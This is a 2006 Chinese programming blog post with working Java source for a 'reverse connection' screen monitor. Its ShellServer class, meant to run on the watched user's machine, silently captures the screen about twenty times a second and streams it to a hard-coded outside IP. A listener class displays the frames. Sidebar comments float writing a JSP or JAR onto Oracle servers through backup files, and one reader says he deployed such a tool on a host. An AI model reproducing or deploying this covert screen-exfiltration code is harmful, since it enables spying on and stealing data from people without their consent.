Artificial Intelligence

Terminator:Skynet...010010001000010000010000100001000101010100101001010101001001010001001010000101001010101001010101010100101010100101001010100101001001010010100101100101010101011111010100101011101111

用户操作
[即时聊天] [发私信] [加为好友]
Terminator:SkynetID:kj021320
390497次访问,排名136好友0人,关注者30
kj021320的文章
原创 106 篇
翻译 1 篇
转载 25 篇
评论 139 篇
Terminator:Skynet的公告
ID: kj021320
Name: Skynet(AI)
QQ: 282720807
mail:kj021320@126.com
mail:kj021320@gmail.com
http://blog.csdn.net/I_S_T_O/
艾尔斯帝欧
最近评论
kxlzx:这样的备份是直接一个txt文件呢?还是夹杂者其他的乱码?
如果夹杂了乱码,JSP能执行么?
没测过这样的执行方式.
kj:不一定要IIS的啊
ORACLE 服务器上面有可能安装了 oracleapplactionserver 备份一个JSP啥的都可以
看你怎么用了 这里只是一个演示。
kxlzx:一般,在oracle上,支持java的几率大点,即使不走存储过程的路子,可以写进去一个JAVA文件的。
在执行jar时,系统只在文件中寻找jar的文件头部信息,然后解压执行,不管他其实是不是在文件的开头。
所以,根据这一特性,是否尝试写个jar文件上去,要好玩的多呢?
仅仅一个想法,目前俺在培训,KJ试验下?
kxlzx:kj kj kj kj 。。。
oracle服务器上,安装iis?
顶思路!不顶实战。。。
mickey:靠..怎么那么大的差距哇

白给我上课了.我都没珍惜..我SB鸟
文章分类
收藏
    相册
    程序截图
    我的茅舍
    装B的图片
    ISTO成员
    AMXSA's BLOG--PHP高手
    I.C.E'blog一位网络高手
    LIVING's BLOG
    MASK's BLOG--- ASP/Delphi
    SUMMER--搜索引擎开发者
    Security
    milw0rm
    red database security
    技术
    Ada Joint Program Office
    ADA Program Language
    ALL jar download
    BEA DOCUMENTS
    Caucho Technology
    codeproject
    CURL WEB Program language
    D language document
    Documentation at PDC
    Firebird Documentation
    Flex LiveDocs
    FreeBSD Document
    FreeMarker template engine
    hadoop分布式
    IBM informix文档中心
    IBM RedBooks Search
    InternetEngineeringTaskForce
    jakarta-apache.LOG4J
    jcaptcha
    LINUX Documentation
    MIT's OpenCourseWare
    MSDN WEBCAST
    MySQL Reference Manual
    nokia sdk document
    novell-documentation
    ORACLE documentation
    Perl Documentation
    PHP.net Document
    planet-source-code
    PostgreSql Document
    Python Documentation
    reflector
    SapDB documentation
    SourceForge
    SQLite cn
    Sybase Online Document
    teradata Resources
    Velocity Java template engine
    WebWork - Documentation
    Web标准组织
    看雪学院
    美国基因组研究所
    友情连接
    ADK成员-C#
    K' 同学的BLOG
    NetMiner's BLOG
    rainnyzhong--ORACLE
    一个忘不了的好友,我的领路人
    忍者's BLOG
    精灵
    黑客榜中榜
    存档
    软件项目交易
    订阅我的博客
    XML聚合  FeedSky
    订阅到鲜果
    订阅到Google
    订阅到抓虾
    订阅到BlogLines
    订阅到Yahoo
    订阅到GouGou
    订阅到飞鸽
    订阅到Rojo
    订阅到newsgator
    订阅到netvibes

    原创 JAVA用TCP 实现反向连接屏幕监视收藏

    新一篇: MSSQL 读取本地文件数据 | 旧一篇: JAVA分割字符串的方法

    //以下这个为服务器类 被监视的用户

    import com.sun.image.codec.jpeg.JPEGCodec;
    import com.sun.image.codec.jpeg.JPEGImageEncoder;
    import java.awt.Dimension;
    import java.awt.Rectangle;
    import java.awt.Robot;
    import java.awt.Toolkit;
    import java.awt.image.BufferedImage;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.net.Socket;
    import java.util.zip.ZipEntry;
    import java.util.zip.ZipOutputStream;
    public class ShellServer extends Thread{
       private Dimension screenSize;
       private Rectangle rectangle;
       private Robot robot;
       private JPEGImageEncoder encoder;
     
       public ShellServer() {
         screenSize = Toolkit.getDefaultToolkit().getScreenSize();
         rectangle = new Rectangle(screenSize);//可以指定捕获屏幕区域
         try{
           robot = new Robot();
         }catch(Exception e){
           e.printStackTrace();
           System.out.println(e);
         }
       }
     public void run(){
      ZipOutputStream os = null;
      Socket socket=null;
      while (true){
       try{
        socket = new Socket("220.173.44.158",5000);//连接远程IP
        BufferedImage image = robot.createScreenCapture(rectangle);//捕获制定屏幕矩形区域
        os = new ZipOutputStream(socket.getOutputStream());//加入压缩流
        //os = new ZipOutputStream(new FileOutputStream("C:/1.zip"));
        
        os.setLevel(9);
        os.putNextEntry(new ZipEntry("1.jpg"));
        JPEGCodec.createJPEGEncoder(os).encode(image);//图像编码成JPEG
        os.close();
        Thread.sleep(50);//每秒20帧
       }catch(Exception e){
        e.printStackTrace();
       }finally{
        if(os!=null){
         try{
          os.close();
         }catch(Exception ioe){}
        }
        if(socket!=null){
         try {
          socket.close();
         } catch (IOException e) {
         }
        }
       }
         }
     }
     public static void main(String[] args) {
      new ShellServer().start();
     }
    }
    //以下这个为客户端类 监视者

    import java.awt.*;
    import java.awt.image.BufferedImage;
    import javax.imageio.ImageIO;
    import javax.swing.*;
    import java.io.*;
    import java.net.ServerSocket;
    import java.net.Socket;
    import java.util.zip.ZipInputStream;
    public class ShellClient  extends JFrame{
     Dimension screenSize;

     public ShellClient() {
      super();
      screenSize = Toolkit.getDefaultToolkit().getScreenSize();
      this.setSize(800, 640);//设置Frame初始
      Screen p = new Screen();//屏幕类
      Container c = this.getContentPane();
      c.setLayout(new BorderLayout());//布局
      c.add(p,"Center");//添加一个Panel
      new Thread(p).start();//开启线程
      this.show();//显示本Frame
     }
     public static void main(String[] args){
      new ShellClient();
     }
     class Screen extends JPanel implements Runnable{
      private Image cimage;
      public void run(){
       ServerSocket ss=null;
       try{
        ss=new ServerSocket(5000);//探听5000端口的连接
        while(true){
         Socket s=null;
         try{
          s=ss.accept();//获取一个SOCKET
          ZipInputStream  zis=new ZipInputStream(s.getInputStream());
          zis.getNextEntry();//获得ZIP流的ENTRY
          cimage = ImageIO.read(zis);//把ZIP流转换为图片
          //cimage = ImageIO.read(new FileInputStream("c:/1.jpg"));
          repaint();//重画
         }catch(Exception e){
          e.printStackTrace();
         }finally{
          if(s!=null){
           try {s.close();} catch (IOException e) {}
          }
         }
        }
       }catch(Exception e){}
       finally{
        if(ss!=null){
         try {ss.close();} catch (IOException e) {}
        }
       }
      }
      public Screen() {
       super();
       this.setLayout(null);
      }
      public void paint(Graphics g){
       super.paint(g);
       Graphics2D g2 = (Graphics2D) g;
       g2.drawImage(cimage, 0, 0, null);
      }
     }
    }

    主要采用了 TCP协议+压缩流~ 速度还可以!不过觉得还可以优化 用UDP+动态的矩阵迟点再改进吧!

    发表于 @ 2006年12月20日 22:11:00|评论(loading...)|编辑

    新一篇: MSSQL 读取本地文件数据 | 旧一篇: JAVA分割字符串的方法

    评论

    #sun_daxigua 发表于2006-12-22 11:42:17  IP: 172.16.11.*
    楼主看来跟我有一样的兴趣。去年在http://s41.eatj.com。我就弄了个这个放它空间里。当时兴奋啊......
    #fohoo 发表于2006-12-23 22:00:42  IP: 58.62.117.*
    这不是JAVA可以做的事。。JAVA做的只是外壳
    #fxbird 发表于2006-12-25 08:33:47  IP:
    收藏
    发表评论  


    登录
    Csdn Blog version 3.1a
    Copyright © Terminator:Skynet